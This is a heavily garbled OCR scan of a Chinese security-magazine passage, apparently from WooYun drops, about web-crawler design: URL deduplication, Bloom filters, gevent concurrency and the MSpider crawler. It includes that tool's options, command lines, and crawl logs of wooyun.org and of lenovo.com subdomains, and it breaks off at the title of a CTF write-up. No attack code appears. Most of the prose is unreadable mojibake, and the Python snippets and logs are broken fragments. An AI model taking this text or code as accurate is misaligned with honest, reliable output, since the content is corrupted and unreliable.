BATH], Wi 2-1-5~F 2-1-6:

51%

time

[@

time
'list"’
time2

timel
listl
time2

time

el

t

"string’

timed

242 TU/3E 120 7T

BT http://t.qq.com/hackcto

time()
i
timel)

timel

timel)

siz

e

time()
time3

K 2-1-5

HEH#: 8H 15 H
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size:

100000000

li=st
7.23200011255
string
0.01%0000534058
i

K 2-1-6
B EERTRLE S, @ — NN VIR, 5 list e fe s T e 9% 1 7.2s,
MHEFR TR BN RRE, A% T 0.2s (BITH Al 8 T REF WA SRR, mE
AT 12 HFFR ST 794660k WAE, NI 2-1-7:
wpytho

File Edit Shell Debug Options Windows Help
Python 2.7.7 (default, Jun 1 2014, 14:21:57) [M5C v.1500 64 bit (AMDG4)] on win <+

32
Type "copyright®™, "credits" or "license ()" for more information.

3> RESTART
size: r;! Windows {(E=EE:E = E.
1?0009000 MR EmO) EENV) EEH)
ist
7.26499986649 |mmiEE H#E mBEs (d® BR | BA |

MRER——RE o A ERATES e

[p}'thonw.exe Fhang. . . juln} T34, B60 K pythomw. ..

K 2-1-7

M VACK R 757 5 5 5 T 109720k A7, 2518 &5 K Z9982> 17 700000k , 211 2-1-8:

L B

File Edit Shell Debug Options Windows Help
Python 2.7.7 (default, Jun 1 2014, 14:21:57) [MSC v.1500 64 bit (AMDE4)] or

32 '
Type "copyright| 1% Windows (TEEEE —
Fa IR EmO) EE(V) EEIH)
size: BREEE| R s (d# (ER (AR |
100000000
string X -
srine || (meEw mAE v AEERAIe®
T firefox. ex. .. zhang .. oo 352,172 K Firefox
I prthonw. exe thang. . oo 109, 720 K pythonw. .. I
K 2-1-8
0x04 URL F{Bl i
IR

KT URL AALME, &L — N ER R R L. ERIEAIITEERLMEN T, &
FEGEELA) URL BEAT AT . Fe R K/ sponge 1 Iy5066113 $24L[ A% . BAAREIES
R, RAR ] LUAI ALK URL 20

http://auto.sohu.com/7/0903/70/column213117075.shtml|
http://auto.sohu.com/7/0903/95/column212969565.shtml
http://auto.sohu.com/7/0903/96/column212969687.shtml|
http://auto.sohu.com/7/1103/61/column216206148.shtml
http.//auto.sohu.com/s2007/0155/s254359851/index1.shtml
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http://auto.sohu.com/s2007/5730/s249066842/index2.shtml
http://auto.sohu.com/s2007/5730/5249067138/index3.shtml|
http://auto.sohu.com/s2007/5730/5249067983/index4.shtml|

I, LA URL H3FEMNIZ N :

http://auto.sohu.com/7/0903/70/column213117075.shtml|
http://auto.sohu.com/s2007/0155/s254359851/index1.shtml

BRI, /5 E S N L

host FfH
HRFZE (KL )7 43D
JETHFIE

AR, WK 2-1-9:

urlparse
shli

tmp 7 se.urlparse(url)
scheme = tmp ; netloc = tmp[l]; path = tmp[2]1[1:]; query
len(path.split( [-1].split('."}) > 1
tail - path.split('/"'] split('.')[-1]
len(path.split('/")) 1 :
tail = path

tail ‘1
tail = tail.lower()
path_length = len(path.split('/')) -1
path_value B
path.split('/")
{path_length
path_length - 1 a:
path_value hash(path_list[path_length - 1])%38785

path_value
netloc_value = hash(hashlib.new("md5", netloc).hexdiges
url_value =t (hashlib.new("md5", str(path_value hexdigest(

1 Y*hash_size

v/

url_value

url "http://auto.sohu.co
parse(url)

url "http://auto.schu.com/123"
parse(url)

B 2-1-9

FUEAR IR, A —EmaelE. Kbk, Wl 2-1-10:

K 2-1-10
FEER TS MR url, HH T 2 ME. B sk, £k T %A hash 1,
FEAIE e v PAEESZ 11
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0x05 FHREIE

Python "R ERAE F 2 BN . ZAMEBAL, SRR, PR . Elias L17)
5T —RIE, R B UM R IR T7 SRR AT TC A B ki, IR i) € d sk
FERE H AR A 0w SR, PR R B — A R SR T (AR A X Y
ZERA . ZERMEGA, R&EA S LFH), Python H1 HT 1) threading B REIR 4 (1) 523
FR TR, A Queue B SZE L FHHE

Z R

2 HERERIRNN 22 2R R 201, multiprocessing FE 1 A KLU Queue BEHURSLE 4 3t
o 1E linux H, APPSR ZZ 000, HEREZSZE ST, e hm
FER i)

PIFEREAL

PRFEREAY, 7E Elias B SCE A, 3T greenlet SEILA M FERE 7 )14 BEALIX T Stackless Python,
KELLL Stackless Python 18 —f%, LA RREL —MUER . FIHET gevent (F2ET
greenlet) MIFRIET AR IVERIR S

HAREH R gevent (FEFHIERA 10)

“Gevent s& — M T HFERT Python M4 EE, B H 3 Greenlet $24tH), 27T libevent F4
TER R EZFD APL. 7 MWEEBRI AR RO RS, MR A SR AR 4, 181745 R n]
PR R T AR, gevent FE 3 B FIPERL 58 .

0x06 H¥EFF ik

AR A S B IEAR AR T 2, (/DN ARG, (H2 TAEIL 2 — /NI nl L
P X

AidE: R REIEE, W& 2 mysql, HARZEML sqlite, SqlServer A% FI&A X
e HIRATVHATEAR AT, B 2 sk 5 80 A2 BERAE, IXFERT DA itk e . G
TEOLR, B4 —AS URL 9 s B, AT — IRBE A6, X T XA B AR 247 TR E A .
FEX AR RR RIS R AR 221, G B ARTAS . R, N T R SR A B
5, BRREEEEA B ATEE 1T R AR 10 AT, BIfLIE 100 NSNS,
XFEARARA T 10 52 100 5 H5EF, LB A F, SRR I . D

0x07 FZSE HIEHE 7 =

e gAY, fnf 2-1-11

———————————————

[
, B

html B DatzMode |

2-1-11
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H AT A an b, RO A ORI, R ) 5 T B, Hriugidh, 17
EBLIIL T = AN, R B S T U AL = — AN RS . Hdl AL 7 1a i B TR e
JEHSSEIL T DL DyRe:

A TH, gevent AbH, BloomFilter i€, URL AHMLE L, Jefd7idug, TCHEUREE.
Github Hifi:  https://github.com/manning23/MSpider fURS AR R P XEE A K, KA ERE,
0x08 ZE &

S DA T 23 S S 51 e

http://security.tencent.com/index.php/blog/msg/34

http://www.pnigos.com/?p=217

http://security.tencent.com/index.php/blog/msg/12
http://wenku.baidu.com/view/7fa3ad6e58fafab069dc02b8.html
http://wenku.baidu.com/view/67fabfeaaeaad1f346933f28.html
http://www.html|5rocks.com/zh/tutorials/internals/howbrowserswork/
http://www.elias.cn/Python/PyConcurrency?from=Develop.PyConcurrency
http://blog.csdn.net/HanTangSongMing/article/details/24454453
http://blog.csdn.net/historyasamirror/article/details /6746217
http://www.spongeliu.com/399.html

http://xlambda.com/gevent-tutorial/

http://simple-is-better.com/news/334

http://blog.csdn.net/jiaomeng/article/details/1495500
http://bbs.chinaunix.net/forum.php?mod=viewthread&tid=1337181
http://www.tuicool.com/articles/nieEVv

http://www.zhihu.com/question/21652316

http://code.rootk.com/entry/crawler

CEHTD) TTiEgiE: w3k

F2H JRERBABENT (2D

{E#: Manning
KH: SEHEE - WooYun
Pk:  http://drops.wooyun.org/

0x00 RIS

Il H HEHbE https://github.com/manning23/MSpider

FRCE (REEARENY NE TIREMEREAR, =T P& RH demo. XF I H
FEYFHANE AR B SRR . AR IS R

1€ URL A it

2.URL FHARE SR 0A% 51 K

3. AT SEmE Vi

4.Mspider T BAH Ut B SR e

5.Mspider F=k fio X 2

0x01 JEH ) URL A HityE

Tt A M€ 754 URL ZEAE 508 ? DOAFRATRR Sl U R L 2340001, w47 i H
RIS = AR5, 84— MRS B € HUZ e 2 1), — M@t T R
OMEHT . JCHLA) URL A2 A<ELAY, Wl 2-2-1:
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2015-03-31 20:07:54 0 21860 0 1 0 0 0 http://wem. wooyun. org/
2015-03-31 20:08:08 1 0 15 2 0 0 0 http://wem. wooyun, org/type=button
2015-03-31 20:08:09 1 g030 15 3 0 0 0 http://wem. wooyun. org/feeds/public
2015-03-31 20:08:09 1 14266 13 4 0 0 0 http://www. wooyun. org/bugs /new_public/
2015-03-31 20:08:09 1 8524 13 5 0 0 0 http://wem. wooyun. org/feeds/confirm
2015-03-31 20:08:09 1 12872 13 6 0 0 0 http://www.wooyun.urg/whitehatsfizx
2015-03-31 20:08:09 1 14603 12 7 0 0 0 http://wem. wooyun. org/bugs/new_unclaimed/
2015-03-31 20:08:09 1 13795 12 8 0 0 0 http://wiw. wooyun. org/bugs/wooyun-2015-0104910
2015-03-31 20:08:08 1 12002 12 g 0 0 0 http://wem. wooyun, org/whitehats/xcrypt
2015-03-31 20:08:10 1 7133 7 10 0 0 0 http://wem. wooyun. org/searchbug. php
2015-03-31 20:08:14 1 22830 16 1 0 0 0 http://www. wooyun. org/bugs /wooyun-2015-097266#commerjt
2015-03-31 20:08:15 1 7248 18 12 0 0 0 http://wem. wooyun. org/feeds/alarm
2015-03-31 20:08:15 1 14012 17 13 0 0 0 http://wem. wooyun. org/bugs/new_alarm/
2015-03-31 20:08:15 1 16523 17 14 0 0 0 http://wem. wooyun, org/bugs/
2015-03-31 20:08:15 1 27504 17 15 0 0 0 http://wemi. wooyun, org/bug/submit
2015-03-31 20:08:15 1 10242 17 16 0 0 0 http://wew. wooyun. org/1awer
2015-03-31 20:08:15 1 9033 7 7 0 0 0 http://wem. wooyun. org/impression
2015-03-31 20:08:15 1 16506 16 18 0 0 0 http://www. wooyun. org/whitehats/# t£@a
2015-03-31 20:08:15 1 16409 19 19 0 0 0 http://wem. wooyun. org/whitehats/darkrerror
2015-03-31 20:08:20 1 14425 18 20 0 0 0 http://wem. wooyun. org/bugs/new_confirm/
2015-03-31 20:08:20 1 24582 18 21 0 0 0 http://wem. wooyun. org/top/
2015-03-31 20:08:20 1 21860 18 22 0 0 0 http://wem. wooyun. org
2015-03-31 20:08:20 1 11712 20 23 0 0 0 http://wem. wooyun. org/whitehats/Format_smile
2015-03-31 20:08:20 1 21860 20 u 0 0 0 http://www.wooyun.orgfindex.phﬁ
2015-03-31 20:08:20 1 naz 0 23 0 0 0 http://wwm. wooyun. org/notice. php?action=viewdid=29
2015-03-31 20:08:20 1 18116 17 26 0 0 0 http://wem. wooyun. org/whitehats/Yy-2012
2015-03-31 20:08:20 1 12504 17 7 0 0 0 http://wem. wooyun, org/whitehats/
2015-03-31 20:08:20 1 43510 19 28 0 0 0 http://drops. wooyun, org
2015-03-31 20:08:25 1 11751 43 29 0 0 0 http://wem. wooyun, org/corps/
2015-03-31 20:08:25 2 14266 44 30 0 0 0 http://wemi. wooyun. org/bugs/new_public
2015-03-31 20:08:25 1 12988 44 i1 0 0 0 http://www. wooyun. org/notice/
2015-03-31 20:08:25 1 17332 M4 32 0 0 0 http://wem. wooyun. org/security_center. php#nav_sc
2015-03-31 20:08:25 2 14266 44 33 0 0 0 http://wem. wooyun. org/bugs/new_public/page/1
2015-03-31 20:08:25 1 na1 M M 0 0 0 http://www.wooyun.org/user.ﬁhp?actﬁon=regﬁster
2015-03-31 20:08:25 1 13573 43 35 0 0 0 http://wemi. wooyun, org/whitehats/Jumbo
2015-03-31 20:08:25 2 0 42 36 0 0 0 http://wem. wooyun. org/bugs/new_public/type=button
2015-03-31 20:08:25 1 7896 41 7 0 0 0 http://job. wooyun. orq
2015-03-31 20:08:26 1 16099 43 38 0 0 0 http://www.wooyun.0rg/wh1tehats/f4ckbawdu drops.wooym.org
a7
K221
Ky Kz
RAENE dURHUK) URL Z4FA T . i 2-2-2:

2015-03-31 21:57:11 0 21879 0 1 0 0 0 LT :/ /Wi, Wooyun. or g

2015-03-31 21:57:26 1 19920 16 2 85 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0104097
2015-03-31 21:57:26 1 24802 16 3 85 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0104157
2015-03-31 21:57:26 1 14012 16 4 116 0 0 http://wew. wooyun. org/bugs/new_alarm/
2015-03-31 21:57:26 1 13376 16 5 150 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0104725
2015-03-31 21:57:26 1 14271 16 6 150 0 0 http://wew.wooyun. org/bugs /new_public/
2015-03-31 21:57:26 1 18441 35 7 20 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0103638
2015-03-31 21:57:26 1 13505 35 g8 232 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0104095
2015-03-31 21:57:26 1 14603 7 9 353 0 0 http://wew. wooyun. org/bugs/new_unclaimed/
2015-03-31 21:57:31 1 23156 7 10 417 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0104685
2015-03-31 21:57:31 1 18400 7 1 417 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0105005
2015-03-31 21:57:31 1 14069 77 12 473 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0104861
2015-03-31 21 5’ 31 1 13659 77 13 473 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0104782
2015-03-31 2 : 1 17306 77 14 490 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0105001
2015-03-31 21:57:31 1 16524 78 15 555 0 0 http://wew. wooyun. org/bugs/

2015-03-31 21:57:31 1 13795 92 16 631 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0104910
2015-03-31 21:57:31 1 13546 92 7 658 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0104937
2015-03-31 21:57:31 1 14298 93 18 685 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0105025
2015-03-31 21:57:32 1 19329 93 19 713 0 0 http://wew. wooyun. org/bugs /wooyun-2015-096717
2015-03-31 21:57:36 1 13418 93 20 740 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0104674
2015-03-31 21:57:36 1 18716 94 pal 767 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0103978
2015-03-31 21:57:36 1 22930 94 22 767 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0105018
2015-03-31 21:57:36 1 12950 93 23 794 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0104799
2015-03-31 21:57:36 1 17384 93 24 794 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0103644
2015-03-31 21:57:36 1 14884 94 25 883 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0104837
2015-03-31 21:57:36 1 22074 94 26 911 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0104007
2015-03-31 21:57:36 1 14466 94 7 042 0 0 http://wew. wooyun. org/bugs/new_confirm/
2015-03-31 21:57:37 1 13531 111 28 1008 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0104907
2015-03-31 21:57:37 1 13286 112 29 1035 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0104811
2015-03-31 21:57:41 1 13248 112 30 1062 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0104712
2015-03-31 21:57:41 1 21699 112 31 1089 0 0 http://wew. wooyun. org/bugs /wooyun-2015-097275
2015-03-31 21:57:41 1 19267 112 32 1089 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0105026
2015-03-31 21:57:41 1 12957 112 33 1146 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0105040
2015-03-31 21:57:41 1 19646 112 34 1173 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0103826
2015-03-31 21:57:41 1 13616 111 35 1173 0 0 http://wew. wooyun. org/bugs /wooyun-2015-0104990
2015-03-31 21:57:41 1 18436 112 36 1197 0 0 http://wew. wooyun. org/bugs/wooyun-2015-0103959
2015-03-31 21:57:42 1 14421 113 7 1262 0 0 http://wew. wooyun. org/bugs /new_submit/
2015-03-31 21:57:42 2 0 125 38 1333 0 0 http://wew. wooyun. org/bugs/type=button
%015—03—31 21:57:42 2 19920 124 39 1333 0 0 http://www. wooyun. org/bugs /wooyun-2010-0104097 rops.wooyun.org

&

2-2-2

LA K, SRR AR R AR A Z M www.wooyun.org FHIAIEHL, ZRANEHRFT LIZIE
,mﬂkﬁfﬂmﬁkTTﬁﬁF*ﬁi 7K. FENE HU AR

— WL B ] URL TRHLSE R, TR

Herp, AT EIRMRAT 2R IE,

[7] False,

5 W3R

] True. HOERER

4*A12§)Q3 2K
SAE S TE url EP UGS

LIEE Mspider 1 H] urlfilter.py X
0x02 URL MU HIEHRE 5] £

URL AHALLE SR AE IR O BN F MM, X AN RE EL W e B TR U IRAT &%, B b —

547 T/3

120 7

BT, http://t.qq.com/hackcto

nno

AT ER e, SRt
=] True,

H AR H 39

75 3%

HH 15 H

IPE B TE url
[5] Falses

LS
HAkmy

34
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WSS, FRNE S K, Wl 2-2-3:

urlparse.urlparse(url)[2]
url = url+'/!

url structure = urlparse.urlparse(url)
netloc = url structure[1]

path = url structure[2]

query = url structure[4]

temp = (netloc, tuple([len(i) i in path.split('/")]),tuple(sorted([1.split('=")[0] i in query.split('&")])))

temp

K 223
XN T BURAREERT URL BIFF AR5 X R AT S HASH, XA B20E FH AR 75 SR DL o
EANEERE — URL RN = ANERE, S — AN EEE netloc, 55 ANEE 2 path %10
KEE, 5 =AY query M RISHHFT G 515R . B — MRS L E =AM A A,
FIEE—/NAT hash FIXT %, Wik 2-2-4:

def url similar control{url}:

URL#E 4

True urls
False url

t = format{url)
t SIMILAR_SET:
SIMILAR SET.add(t)

K 2-2-4
FIFHE S B EIT 28, KANEERIEIR/N S8 URL MRS FEX T hash J& 45 B =1
), SERRRGCR an & 2-2-5:

LULITUITIL LW Jdi W i [ATHE 3= F' 3 wrL w4 LM u u IILLP-{',’LIIUIIHJHU-ALGI RS PRSI

2015-03-31 20:37:04 2 200881 871 875 269849 0 0 http: //tongxiang. Xgan ol org

K 2-2-5
MICHL 1 875 AMEEEEN, SERRARALTII CLA ] 1 269849 /N, [RILXS TIC AR K HE, &4
IRUF 2T
AR R R SPR A0 AE, LB G153 R AP SERR R, A KK MR 25 B R A5 I A AL,
R
0x03 JBATSRUE MR
—FRICAT SHEmE R AR RIS o TREEAR S 28 AR SR B, TS A S48 2 st BA
HR S o
N TH B A R T IR AR S R TV S U I T, A 2-2-6:

48 Bi/3 120 T EHIE: http://t.qq.com/hackcto HARHE: 44 15 H HTRd: ot
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e SieeS
i @
, "'.Oﬁ‘ _____ =
i/
* BT TNEE TAS

.ﬁt-.- -

drops.wooyun.org

K 2-2-6

N E TR B 1 AU R TSR R B, a0 2-2-7:

N = = | - B

-

drops.wooyun.org
K 2-2-7
Mspider HSEHURAT 5ME, X =Ml Ry AR BRI URL BRARHE 75 QAT 48, i
BAFIHF URL 45 m IR EE SO AT IR, SRIZBIFER B, TCAT SRS ARYE AN 75 R E, e

SEPRI R ILFTSE URL B4, nfs] 2-2-8:

015-03-31 2004811 6 25690 865 BO9 150074 0 0 hrep://topic, xcar, com,cn/Q9ri_quarter /xcar_09zhishu/

015-03-31 20:48:13 15 8E906 871 BL0 160045 0 0 http://dealer. xcar. com. cn/d8/2, htn?type=1&page=2

015-03-31 20:48:13 15 78420 870 Bl 160419 0 0 http://dealer. xcar. con. cn/dB/?type-l&page-lBZ drops wooymnarg
n

MAE AT H MNATA 3 ARNAR QRN ] 1&ATAT A httn fltanir vear ram enii0th anaetae /A0

K 2-2-8
FEAIEAT T 810 MEEREERT, SEFRIRATHIRE CIAR T 15 F. fESLbrilllid fEd, WEMR
JelCAT e B8 4 1 R IR ] S
0x04 Mspider T E{# A 6B X R B~
Mspider ;2 A& A& FI—ALL cLl e T IR T R, ShRHSEI 7 R IhfRg. A AK
% % star Al fork. mﬂk@jﬁ%kﬁ%&lﬂﬁﬁjﬁlﬁlﬂﬁ#% bug, &l 2-2-9:

049 TU/3t 120 TU EAMOE: http://t.qq.com/hackcto HARHE: 44 15 H HTRd: ot
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CLl FRE/R, i 2-2-10:

root@ubuntu: /home/work /Mspider# python run.py -h
Usage: run.py [options]

options:
-h, --help show this help message and exit
-U URL, --url=URL start the domain name

-t THREADS_NUM, --thread=THREADS_NUM
Number of threads

--depth=DEPTH crawling depth

--mode1=MODEL Crawling mode: 5tatic 0 Dynamic 1 Mixed 2

--palicy=POLICY craw11ng strategy: Breadth-first 0 Depth-first 1
Random-first 2

-k KEYWORD, --keyword=KEYWORD
Fncusing on the keywords in host

--Time=FETCH_TIME Crawl time: The default crawl for 7 days
--COUNt=FETCH_COUNT  Crawling number: The default download 100000000 pages
--proxy The proxy pattern

--1gnor e=IGNORE_KEYWORD

Filter keyword in URL's host or path
--focus=FOCUS_KEYWORD

Focus keyword in URL's path
--storage=5TORAGE_MODEL

storage mode: A small model 0 Large schemas 1 Don't

store 3
--5imilarity=SIMILARITY
similarity check: True 0 False 1 drops.wooyun.org

B 2-2-10
BRI dA AT PLE I SCE Y config.py HEAT BB VELNRIRC B, LLanCATRIFGE, ZBSPRZEFIR, 3
B L], user-agent FHLEE, AN 2-2-11:

FOLDERS

README.md run.py urffilter.py

Mspider
¥ config
_init_.py

b data
b database
¥ function
_init_.py
crawl.py
dbengine.py
fetch.py
node.py
sener.py
urifitter.py
_init_.py
ghostdriver.log
README.md

Tun.py

B 2-2-11

AL 5 R—ITS = HilET5I%R

python run.py -u "http.//www.wooyun.org" -k "wooyun.org" --focus "whitehats" --similarity 1 --storage 3

R, i 2-2-12:

250 Bi/3 120 T EHIE: http://t.qq.com/hackcto HARHE: 44 15 H HTRd: ot
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2015-03-31 21:09:49 0 2187 4] 1 0 0 4] http://wew. wooyun. or
2015-03-31 21:09:59 1 1287 1 2 101 0 4] http://www.wooyun. org/whitehats/izy
2015-03-31 21:09:59 1 16212 1 3 139 1] 4] http://wew. wooyun. org/whitehats/prolog
2015-03-31 21:09:59 1 16409 1 9 139 0 4] http://wew. wooyun. org/whitehats/darkrerror
2015-03-31 21:09:59 1 10335 1 6 139 0 (4] http://www.wooyun. org/whitehats/ g &E
2015-03-31 21:09:59 1 16548 1 4 139 0 4] http://wew. wooyun. org/whitehats/pandas
2015-03-31 21:09:59 1 18116 0 7 239 0 [u] http://wew. wooyun. org/whitehats/yYy-2012
2015-03-31 21:09:59 1 16177 [ 8 239 0 0 http://wew. wooyun. org/whitehats/EH#E
2015-03-31 21: 1 1607, 0 9 37 0 (4] http://www.wooyun. org/whitehats/#F- 58
2015-03-31 21: 1 11712 0 10 47 0 4] http://wew. wooyun. org/whitehats/Format_smile
2015-03-31 21: 1 12504 4] 11 507 0 4] http://wew. wooyun. org/whitehats/
2015-03-31 21: 1 16967 15 12 532 0 (4] http://www.wooyun. org/whitehats/{FEEZ 2L =
2015-03-31 21: 1 11443 14 13 548 0 4] http://wew. wooyun. org/whitehats/apo
2015-03-31 21: 1 16999 13 14 619 0 4] http://wew. wooyun. org/whitehats/fackbaidu
2015-03-31 21: 1 1357 12 15 669 0 (4] http:/'/m-.w.wuuyun.mrg/whwtehats,fjumbu
2015-03-31 21:10:04 1 14910 12 16 669 0 4] http://wew. wooyun. org/whitehats/ir & 44
2015-03-31 21:10:04 1 7727 12 7 669 0 4] http://’www.wooyun.org/whwtehats/xkafk
2015-03-31 21:10:04 1 16524 9 18 754 0 4] http://www.wooyun. org/whitehats/j2ck3r
2015-03-31 21:10:04 1 12002 8 19 808 0 4] http://wew. wooyun. org/whitehats/xcrypt
2015-03-31 21:10:04 1 16658 7 20 897 0 4] http://wew. wooyun. org/whitehats/Tuwikes
2015-03-31 21:10:09 2 1979 [ 21 949 0 0 http://wew. wooyun. org/whitehats/type=button
2015-03-31 21:10:09 1 16789 5 22 a57 0 (4] http://www.wooyun. org/whitehats/gg /B
2015-03-31 21:10:09 2 12504 4 23 1011 0 4] http://wew. wooyun. org/whitehats/page/1
2015-03-31 21:10:09 2 17809 4 24 1058 0 4] http://wew. wooyun. org/whitehats/=
2015-03-31 21:10:09 2 12065 4 25 1080 0 4] http://www.wooyun. org/whitehats/page/5
2015-03-31 21'10'09 2 16394 2 26 1112 0 4] http://wew. wooyun. org/whitehats/se55i0n

2 16731 2 7 1112 0 4] http://wew. wooyun. org/whitehats/niliu
2015- 03 31 21:10:00 2 12299 11 28 1122 0 4] http://www.wooyun. org/whitehats/page/2
2015-03-31 21:10:10 2 16630 41 29 127 0 4] http://wew. wooyun. org/whitehats/ WEBeF
2015-03-31 21:10:15 2 16982 39 31 1329 0 4] http://wew. wooyun. org/whitehats/FE5E 8
2015-03-31 21:10:15 2 18986 39 31 1329 0 4] http://wew. wooyun. org/whitehats/gainover
2015-03-31 21:10:15 2 17085 7 32 1438 0 4] http://wew. wooyun. org/whitehats/sex is not show
2015-03-31 21:10:15 2 16264 36 33 1491 0 4] http://wew. wooyun. org/whitehats/kobing?
2015-03-31 21:10:15 2 16920 35 34 1544 0 4] http://www.wooyun. org/whitehats/zzr
2015-03-31 21'10'15 2 17271 34 35 1598 0 (4] http://www.wooyun. org/whitehats /2T

2 16336 34 36 1598 0 4] http://wew. wooyun. org/whitehats/uis
2015~ 03 31 21:10:15 2 17214 7 7 1652 0 0 http://wew. wooyun. org/whitehats/& FF IR
2015-03-31 21:10:15 2 16551 31 38 1759 0 (4] http://www.wooyun. org/whitehats/Jannock
2015-03-31 21:10:19 2 12052 30 39 1813 0 4] http://www.wooyun.org/whw‘tehats/;laa ge/4
2015-03-31 21:10:20 2 16643 49 40 1841 0 0 http://wew.wooyun. org/whitehats/1ijiejie
2015-03-31 21:10:20 2 12457 48 41 1895 0 4] http://www.wooyun. org/whitehats/page/3
2015-03-31 21'10'20 2 16755 48 42 1895 0 4] http://www.wooyun.org/whwtehats/ﬁ‘ﬁjld&;k

2 16577 48 43 1895 0 4] http://wew. wooyun. org/whitehats/Mr. Teo
2015- 03 31 21: 2 17693 64 44 2030 0 4] http://www.wooyun. org/whitehats/wefgod
2015-03-31 21: 3 63 45 2083 1] 4] http://wew. wooyun. org/whitehats/page/type=button
2015-03-31 21: 2 18067 a2 46 2083 0 4] http://wew. wooyun. org/whitehats/Coody
2015-03-31 21: 3 17312 61 7 2083 0 (4] http://www.wooyun. org/whitehats/s0mun5
2015-03-31 21: 3 11723 60 48 2187 0 4] http://wew. wooyun. org/whitehats/page/7
2015-03-31 21: 3 11732 81 49 2217 0 4] http://wew. wooyun. org/whitehats/page/9
2015-03-31 21: 3 11 100 50 2249 0 4] http://’www.wooyun.org/whw‘tehats/ﬁage/a
2015-03-31 21: 3 16708 119 51 2281 0 (4] http://www.wooyun. org/whitehats/bitcoin
2015-03-31 21: 3 16063 118 52 2335 0 4] http://wew. wooyun. org/whitehats/fen
2015-03-31 21: 3 15959 117 53 2387 0 4] http://wew. wooyun. org/whitehats/anlk3r
2015-03-31 21: 3 16873 116 54 2436 0 (4] http://www.wooyun. org/whitehats/mlx7el
2015-03-31 21: 3 16342 115 55 2490 0 4] http://wew. wooyun. org/whitehats/Mr . LZH
2015-03-31 21:10:25 3 16886 115 7 2490 0 4] http://wew. wooyun. org/whitehats/boocooocom
2015-03-31 21:10:25 3 16419 115 56 2490 0 (4] http://www.wooyun. org/whitehats/Focusstart
2015-03-31 21:10:25 3 17559 112 58 2490 0 4] http://www.wooyun.org/whwtehats/fe'h)ém { wooyun.om

& 2-2-12

JEATIRAEIE A% A S, SR AL I DE bbs SCHE Y, B BICAT L, BEHLOCSE K

python run. py —u “lenovo” —k “lenovo” ——ignore “bbs”——model 1 —policy 2

RO, i 2-2-13:

0 74 1 o 0 [ ://a32app. 1enovo, com
2 1] 3 2 o o 1] 0rE. |?rvuv <on
e : N Rl
201 2. ] 4 o 0 ] drvdiscl. lenovo. c
a 5 357 [ a .. par tner info. lenovo. com
0 & 357 0 0 webvpn. lenavo. co
: ¢ B 5 b o
0 8 76 0 1] ‘thinkpadtablet. lenovo. com
] 9 475 7 [ 1. 1enova. com
o 10 475 0 a reviews. lenovo. com
0 n 720 0 0 . Tenovo. com
3 oo o ol
0 13 2793 0 0 5. Tenovo,
: 5o or et
0 15 32 0 ] 8. Tenovo, ¢
[] 16 341 0 ] #c3. |enova. C
: o8 s
[ 18 3456 0 ] 55, e L
1 19 3500 0 ] m. 1enovo. com, cn/maplist. aspx
: om0 s . S
0 21 3536 0 o Tenove. yaglan, con
0 2 87 0 0 out1erap. 1enovo. com
: IS
] b7 4280 0 ] lenovo. com
: §oomsof o iy
1 b 4430 0 0 ‘mobi lesupport. Tenovo. com/us,/ en/products /Ttabname=solutions
o 2 4430 o a app. lenova, com
1 2 5214 0 0 Forums. lenovo. com/t5/Legacy-Thinkpads-a-1-v-300-600,/Tkb-p, tp09_erfdotkh
0 29 511 0 0 shopap. lenova. com
1 30 5426 0 a orums. Jenovo. con/t5, bd-p/1105_ru
1 Y 5463 0 0 Foruns. Tenovo, con/ts, ul:one Fags/bd-p/Hel o
: om0 i et ] - e - -
[] 13 5701 [ [] 1/ /emai]. box. 1enovo. com
1 T 5701 0 a ://0. lenove. com/1d7cal 1backss_c_11%580%50. ssur-alﬂitsnﬂdsi«(ur? def 6171 il 501 2 7
1 35 5701 0 0 : rmhﬂesuppnrt Tenovo. com/bundles Goog] eAnalyTi c57v=20€_SH5bioa? Genr St anBnNCHINL 70, 3uKTwy 881
; ol
: ogmon o s Ao A
1 38 7987 0 1] n/tS, n|gene| -Diskussion/tkb-p/allgemein_1%40tkb
: Bom i o
: 3 om i
1 a1 g1 0 0 oa/en, caegury resel'\ers-partr\!rs
: g ome ot o
1 43 8613 0 [ ,us w S $13CTCHIEIE L 79B0FECOLCO8T/ Tenove- \deapad-w 0-reviews/reviews. htn
i : G om0 e o e e Lo
2015-03-31 1 45 13229 0 0 0. com/8923- 3F7A83DF1 IFDTCCTC1FBI 2160C, thinkpad- twi st-convertible-ultrabooks. l\.\-luﬁ category. htm
2015-03-31 1 59885 788 46 1556 0 0 +//shop. 1enovo. com/us,/products, dropy
K]
K 2-2-13

0x05 Mspider fK] k% X2

IS Mspider [(—28T))88, HLAn UM /- Hribid, URL I JEMLER, HARAEAFBEL, wTLR
BHERNEA ZBIUE B2, BESRIS = sql A sQL = payload ..
ERAENC R, JE S B AR, LR FEC SRR dom B, JRGELE, BEE N
dom WA TEIEIZHR, 5 ] &) LS.

0x06 ZE X E

FET URL FEIN ) SR A e e e HoRi - Chttp://www.docin.com/p-784393108.html)
PIRITR FEAL A BE AR S5 K http://pan.baidu.com/s/1mgj5yB2

(&5 TifTgmik: ek
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E =2 CTF Writeups

19 ALi CTF 2015 write up

{£%#: EvilMoon
KH: ZRARE - WooYun
MEk:  http://drops.wooyun.org/

M4 T %% http://pan.baidu.com/s/1bnFBNH1

0x00 Cake

